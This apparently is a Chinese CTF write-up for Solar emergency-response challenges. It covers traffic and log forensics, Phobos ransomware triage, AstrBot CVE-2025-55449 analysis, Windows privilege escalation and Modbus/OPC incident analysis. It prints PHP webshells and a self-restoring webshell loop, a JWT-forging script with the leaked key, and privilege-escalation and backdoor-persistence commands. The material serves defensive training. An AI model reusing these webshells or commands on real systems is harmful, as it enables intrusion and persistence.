2025年Solar应急响应公益月赛-11月
应急响应(emergency)
有一台客户的服务器被黑客入侵了,好在安全工程师开启了流量包,请你完成这些题目,提升服务器的安全性吧!
用户名:Administrator
密码:Qsnctf2025
链接: https://pan.baidu.com/s/1LxYbnbYPpzTj0eL1yRKxiA 提取码: db5g
压缩包密码:349df0a5061cfd47e375c8dba9c773d7
赛题为:流量捕获.pcapng + emergency靶场
任务1
任务名称:提交黑客的IP地址
任务分数:2.00
任务类型:静态Flag
提交格式为flag{0.0.0.0}
protocol == http过滤,发现10.0.100.69攻击10.0.100.13
flag{10.0.100.69}
任务2
任务名称:提交黑客初始连接的PHP一句话木马密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{abc}
protocol == http过滤,发现frame.number==894 || frame.number==901内容是初始连接的PHP一句话木马。
No.894
Form item: "value" = "<?php @eval([$_POST['shell']]) ?>"
No.901
{"status":1,"message":"\u64cd\u4f5c\u6210\u529f\uff01"} 操作成功!
flag{shell}
任务3
任务名称:提交黑客通过初始连接一句话木马后创建新的一句话木马文件的MD5
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
protocol == http过滤,发现frame.number==53923 || frame.number==53926创建新的一句话木马文件shell.php,计算shell.php的MD5值。
No.53923
C:/phpstudy_pro/WWW/shell.php
No.53926
shell.php
<?php @eval($_POST["qsnctf_2025_lab"]); ?>
flag{91a29f36879b024d661851b7765f3969}
任务4
任务名称:提交黑客创建的不死马的密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
protocol == http过滤,发现frame.number==54240 || frame.number==54250上传不死马bsm.php
No.54240
C:/phpstudy_pro/WWW/bsm.php
php
<?php
ignore_user_abort(true);
set_time_limit(0);
$shell_content = '<?php @eval($_POST["4aad625950d058c24711560e5f8445b9"]); ?>';
$shell_path = __DIR__ . '/.config.php';
while (true) {
if (!file_exists($shell_path)) {
file_put_contents($shell_path, $shell_content);
chmod($shell_path, 0444);
}
sleep(5);
}
?>
flag{4aad625950d058c24711560e5f8445b9}
任务5
任务名称:提交黑客上传的恶意文件(远程控制木马)的名称
任务分数:2.00
任务类型:静态Flag
提交格式为flag{abc.exe}
protocol == http过滤,发现frame.number==68118 || frame.number==68167上传shell.exe,No.69165执行shell.exe。
No.68118
C:/phpstudy_pro/WWW/shell.exe
No.69165 执行shell.exe
cd /d "C:\\phpstudy_pro\\WWW" & shell.exe & echo 8f92ab47 & cd & echo dbeb03f5
flag{shell.exe}
任务6
任务名称:提交黑客上传的恶意文件(远程控制木马)的MD5
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
计算shell.exe的MD5值。
flag{0410284ea74b11d26f868ead6aa646e1}
任务7
任务名称:提交黑客上传的恶意文件(远程控制木马)的端口
任务分数:2.00
任务类型:静态Flag
提交格式为flag{1234}
在沙箱虚拟机运行一下,再排查进程和端口。
PID 对应的端口 4444
flag{4444}
任务8
任务名称:请提交黑客创建用户账户的用户名
任务分数:2.00
任务类型:静态Flag
提交格式为flag{username}
protocol == http过滤,发现frame.number==73634 || frame.number==73637添加账号密码
cd /d "C:\\phpstudy_pro\\WWW" & net user hidden$ P@ssw0rd123 /add
发现frame.number==73718 || frame.number==73721添加账号hidden$到管理员组
cd /d "C:\\phpstudy_pro\\WWW" & net localgroup administrators hidden /add flag{hidden}
任务9
任务名称:请提交黑客创建用户账户的密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{password}
flag{P@ssw0rd123}
任务10
任务名称:请提交黑客创建用户账户的时间
任务分数:2.00
任务类型:静态Flag
flag{2025/01/01 01:00:00}
过滤事件ID:4720(创建用户)
flag{2025/11/20 16:13:32}
2700勒索病毒排查
某公司财务机器某天突然卡顿,任务管理器发现有程序在高占用,后续所有文件都无法打开,且所有文件都变成了.2700结尾的扩展名,目前通过一些特征判断是勒索病毒,比如勒索信以及文件名等,请您上机排查,并根据题目指引进行溯源和数据恢复。
所需工具在C:\Users\Solar\Desktop\工具\目录中
账号:Solar
密码:Solar521
靶机使用说明:https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ
任务1
任务名称:此勒索家族名称是什么?
任务分数:2.00
任务类型:静态Flag
此勒索家族名称是什么?可访问应急响应.com进行查询,大小写敏感,最终以flag{}提交
在应急响应.com(https://www.solarsecurity.cn/detection)搜索sqlback@memeware.net,发现属于Phobos家族。
桌面有info.txt文件
Phobos家族
flag{Phobos}
任务2
任务名称:勒索病毒预留的ID是什么
任务分数:2.00
任务类型:静态Flag
勒索病毒预留的ID是什么(预留ID为勒索组织恢复的凭证),以flag{}提交,如有多个以&进行连接
任务1图片中扩展名前可以看见id[4A30C4F9-3524].[sqlback@memeware.net].2700。桌面的info.hta打开也可见ID。
桌面有info.hta文件
flag{4A30C4F9-3524}
任务3
任务名称:提交开始加密的时间
任务分数:2.00
任务类型:静态Flag
提交开始加密的时间,以flag{2025/1/1 11:11}格式提交
桌面info.txt、info.hta创建时间。
2025/11/19 14:31:23
flag{2025/11/19 14:31}
任务4
任务名称:提交flag
任务分数:2.00
任务类型:静态Flag
访问:应急响应.com 找到此家族恢复工具进行恢复,提交C:\Users\Solar\Desktop\lSimulation_Desktop_Files\flag.txt文件中的flag
访问应急响应.com,在 https://www.solarsecurity.cn/tools 找到Phobos家族恢复工具,下载Phobos恢复工具,恢复文件即可。
flag{6eff1ea09e63423a48288a77d97e0cc6}
任务5
任务名称:提交发送邮件的邮箱
任务分数:2.00
任务类型:静态Flag
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的邮箱,以flag{xxx@xxx.com}格式提交
打开"已开发票(附件打开).eml"文件,找到From: 字段。
已开发票(附件打开).eml
flag{1983929223@qq.com}
任务6
任务名称:提交发送邮件的IP
任务分数:2.00
任务类型:静态Flag
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的IP,以flag{x.x.x.x}格式提交
X-Originating-IP:39.91.141.213
flag{39.91.141.213}
任务7
任务名称:提交钓鱼附件中的C2地址
任务分数:2.00
任务类型:静态Flag
提交钓鱼附件中的C2地址,以flag{x.x.x.x}格式提交
C2地址
flag{182.9.80.123}
任务8
任务名称:提交flag
任务分数:2.00
任务类型:静态Flag
部分数据丢失,好在运维之前做了备份,使用C:\Users\Solar\Desktop\工具\diskgenus恢复C:\Users\Solar\Desktop\工具\backup中的备份内:C:\Users\Solar\Desktop\flag.bak文件,提交其flag。
使用diskgenus打开备份镜像,找到C:\Users\Solar\Desktop\flag.bak文件。
找到C:\Users\Solar\Desktop\flag.bak文件
flag{92047522e5080bad36eda9d29d5a163e}
2025年Solar应急响应挑战赛-12月
签到
代码审计,GET方法,?flag=flag{8565d92c4a881fbab0d4af4125ea28e1}入参正确即可。

flag{ad85b70b1b68449b88e1cad2836c32d3}
Traffic Analysis【CVE-2025-55449】
备份下载1:https://pan.baidu.com/s/14QtnAOAa3fNEKt7YQZRk2A 提取码: dcm2
备份下载2:https://wwboa.lanzouq.com/ivXYo3egom5a
备份下载3:https://pan.quark.cn/s/202c2e1cfe39 提取码:PSgS
问题 1、2、3
问题1:CVE编号是多少
例:CVE-xxxx-xxxxx
过滤条件是http && ip.host != 172.17.0.2。
frame.number < 368 有大量astrbot登录尝试。
frame.number == 368 有POST //api/plugin/install-upload HTTP/1.1\r\n。
frame.number == 376 上传helloworld.zip并安装成功。
frame.number > 376 有大量RCE。
据此特征判断是 AstrBot /api/plugin/install-upload 命令执行漏洞(CVE-2025-55449)
CVE-2025-55449
问题2:伪造用户名
例:root
frame.number == 367,发现Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc。
具体参考AstrBot 远程代码执行漏洞 | CVE-2025-55449 复现&研究。 已知CVE-2025-55449的利用代码,但存在签名过期的问题(jwt.exceptions.ExpiredSignatureError: Signature has expired)。所以,将操作系统时间调整到流量发生的时间2025-12-10或有效期内2025-12-10,即可正常解码。
python
import jwt
from datetime import datetime, timedelta
WEBUI_SK='Advanced_System_for_Text'
def generate_jwt(username):
payload = {
"username": username,
"exp": datetime.utcnow() + timedelta(days=7),
}
token = jwt.encode(payload, WEBUI_SK, algorithm="HS256")
return token
if __name__=='__main__':
token = generate_jwt('astrbot')
print(token)
t = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc'
m = jwt.decode(t, WEBUI_SK, algorithms='HS256')
print(m)
# {'username': 'admin', 'exp': 1765959596}
admin
问题3:恶意文件名是什么
例:xxxx.xxx
frame.number == 368 上传恶意文件,并安装成功。
helloworld.zip
问题4:运行路径在哪
例:/xxx
frame.number == 480 的RCE是pwd,可以看到当前的运行路径。
问题4
/AstrBot
问题5:flag的值
例:flag{xxxxx}
frame.number == 573 的RCE是cat flag。
问题5
flag{80892e26-dbcc-49be-9f40-e14f772741d0}
问题6:JWT的key是多少
例:xxxxx
frame.number == 642 的RCE是env,可以看到环境变量WEBUI_SK的值。
问题6
Advanced_System_for_Text
提交最终flag的格式如下:
flag{md5(问题1_问题2_问题3_问题4_问题5_问题6)}
CVE-2025-55449_admin_helloworld.zip_/AstrBot_flag{80892e26-dbcc-49be-9f40-e14f772741d0}_Advanced_System_for_Text
flag{f585fb56a8f67ceffd494f5ae96a6dff}
你能拿到权限我就给你FLAG
我有一台Windows Server的电脑,我的用户名叫Lab,我的密码是Lab2025..,我的C盘下有一个flag文件夹里面放着flag.txt,但是我好像读取不了。你如果能读取到这个FLAG,那这个FLAG就归你啦!
靶机是Windows Server 2008 R2。先收集信息,上传对应EXP,添加root账号并加入administrators组。登录root账号,以管理员身份打开notepad,再打开flag.txt即可。
systeminfo
CVE-018-8120.exe "net user root 1qaz@WSX /add"
CVE-018-8120.exe "net localgroup administrators root /add"
登录root账号,以管理员身份打开notepad,再打开flag.txt即可。
systeminfo
CVE-018-8120.exe "net user root 1qaz@WSX /add"
CVE-018-8120.exe "net localgroup administrators root /add"
flag{af8dbd72dfae83f5563a7f8b8e77151c}
日志排查
题目信息
时间:2025年12月17日 事件:安全运营中心(SOC)监测到数据库服务器流量异常,随后发现管理员组中出现不明账号。任务:请根据提供的日志文件(MSSQL ERRORLOG、Windows 安全日志、系统镜像/注册表),按时间顺序回答以下问题
备份下载1:https://pan.baidu.com/s/1d8M7slE_2PXr3fLD2VzayQ 提取码: hjfa
备份下载2:https://wwboa.lanzouq.com/ijPsg3egom3i
备份下载3:链接:https://pan.quark.cn/s/a7a9dfbdfaa2 提取码:3xeW
任务1
任务名称:任务1
任务分数:100.00
任务类型:静态Flag
在攻击真正发生之前,防火墙记录到了针对 SQL Server 的暴力破解行为。请找出发起暴力破解(大量登录失败)的 IP 地址。(按时间顺序用_连接,FLAG格式为:flag{ip_ip}
Application.evtx,筛选ID:18456,看到49386条登录失败日志。按时间顺序发起暴力破解的IP地址。
Application.evtx,筛选ID:18456
Application.evtx,筛选ID:18456
flag{192.168.146.135_192.168.146.161}
任务2
任务名称:任务2
任务分数:100.00
任务类型:静态Flag
请分析 MSSQL 日志文件,找到攻击者 IP 192.168.146.135 在结束暴力破解后,首次成功使用"SQL Server 身份验证"建立连接的时间。FLAG格式为:flag{2025/01/01 11:00:01}
Application.evtx,筛选ID:18454,看到18条登录失败日志。找到从192.168.146.135登录的这条。
Application.evtx,筛选ID:18454
flag{2025/12/17 11:17:26}
任务3
任务名称:任务3
任务分数:100.00
任务类型:静态Flag
经分析,攻击者登陆数据库后进行了关键配置更改以启用命令执行功能。 请还原攻击者在该时间点内的完整配置修改链(按日志记录顺序)。FLAG格式为:flag{配置名1_配置名2}
Application.evtx,筛选ID:15457,看到32条登录失败日志。2025-12-17 11:29:11有2条修改配置。
Application.evtx,筛选ID:15457
Application.evtx,筛选ID:15457
flag{show advanced options_xp_cmdshell}
任务4
任务名称:任务4
任务分数:100.00
任务类型:静态Flag
攻击者在执行复杂的命令前,先写入了一个测试文件以验证写入权限。请提供该测试文件的完整绝对路径。FLAG格式为:flag{C:\ABC\def.txt}
Security.evtx查找字符串C:\Windows\Temp\。
测试一般选择的目录有:
用户临时目录:C:\Users\<用户名>\AppData\Local\Temp\
系统临时目录:C:\Windows\Temp\
测试文件名字一般是:test.txt、1.txt、a.txt等
Security.evtx 查找字符串 C:\Windows\Temp\
flag{C:\Windows\Temp\test.txt}
任务5
任务名称:任务5
任务分数:100.00
任务类型:静态Flag
攻击者觉得通过数据库执行命令太麻烦,于是创建了一个系统后门用户 123。该后门用户的明文密码是什么?
Security.evtx查找字符串net user。
Security.evtx 查找字符串 net user
flag{33arsierting}}
任务6
任务名称:任务6
任务分数:100.00
任务类型:静态Flag
在创建完后门用户后,攻击者使用远程桌面 (RDP) 登录了服务器。请找出用户 123 首次 RDP 登录成功的精确时间。flag格式为:flag{2025/01/01 15:00:00}
Security.evtx,筛选ID:4624,看到100条日志。2025-12-17 15:06:03是123的首次RDP登录。
Security.evtx,筛选ID:4624
flag{2025/12/17 15:06:03}
任务7
任务名称:任务7
任务分数:100.00
任务类型:静态Flag
攻击者为了确保服务器重启后仍能控制机器,在系统中留下了三个持久化后门。 请找到这三处隐藏的字符串,并按以下顺序拼接:flag{flag1flag2flag3}
进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"
进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f
进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f
进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"
进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"
进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f
进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f
进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"
flag{krjl424wq3453dalbzlmqu458xktq}
工厂应急
某化工厂监控网络出现异常波动。你拿到了一份汇总的抓包文件。
任务1
任务名称:工厂应急Q1
任务分数:2.00
任务类型:静态Flag
谁把泵关了? 提交格式:flag{0xtransaction_id_0xfunction_code_0xcoil_address}
发现的modbus流量,关闭泵必须是写流量,过滤掉读流量,剩下那个就是flag。
modbus.func_code != 1 && modbus.func_code != 3
过滤掉读流量 modbus.func_code != 1 && modbus.func_code != 3
flag{0x1a2b_0x05_0x000d}
任务2
任务名称:工厂应急Q2
任务分数:2.00
任务类型:静态Flag
被写入的 NodeId
因为找NodeId,所以过滤条件是 tcp.segment_data contains "NodeId" 。有大量的BrowseRequest,也有WriteRequest。
BrowseRequest:NodeId=ns=3;s=Alarms;
BrowseRequest:NodeId=ns=2;s=Valve/Position;
BrowseRequest:NodeId=ns=2;s=Objects;
BrowseRequest:NodeId=ns=2;s=Pump/Status;
WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;
......
过滤后在分组字节流里找"Write"字符串,主义大小写。
过滤条件是 tcp.segment_data contains "NodeId" 。
过滤后在分组字节流里找"write"字符串。
WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;
flag{ns=2;s=Pump/SpeedSetpoint}
任务3
任务名称:工厂应急Q3
任务分数:2.00
任务类型:静态Flag
工程站域名解析结果 找出工程站域名 engws.plant.local 的 A 记录解析结果(目标 IP)。 flag{x.x.x.x}
dns.qry.name == engws.plant.local && dns.a
dns.qry.name == engws.plant.local && dns.a
flag{10.0.0.8}
任务4
任务名称:工厂应急Q4
任务分数:2.00
任务类型:静态Flag
确定 HMI(源:10.0.0.x)到工程站(目的:10.0.0.x)上首个成功发起的时间点。 提交格式:flag{YYYY-MM-DDTHH:MM:SSZ}(UTC,精确到秒)
因为是到工程站上的成功发起,那么TCP三次握手应该是:HMI到工程站发出SYN(0x002)、工程站返回HMI发出ACK/SYN(0x012)、HMI发出ACK(0x010)。因为流量中ACK很多,我们的过滤条件应该是前两次握手。
(ip.src_host contains 10.0.0 && ip.dst_host==10.0.0.8 && tcp.flags==0x002) || (ip.src_host==10.0.0.8 && ip.dst_host contains 10.0.0 && tcp.flags==0x012)
找到TCP三次握手
追踪TCP流,可以看到完整的TCP三次握手、四次挥手。
追踪TCP流,可以看到完整的TCP三次握手、四次挥手
flag{2025-03-12T14:22:09Z}
任务5
任务名称:工厂应急Q5
任务分数:2.00
任务类型:静态Flag
在横向后不久,HMI 对工程站发起了 HTTP 请求。提交请求的 Host 与 URI,用下划线连接。
过滤条件:http协议,且源地址是10.0.0.x,目的地址是10.0.0.8。发现一个请求。
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8
flag{engws.plant.local_/rpc}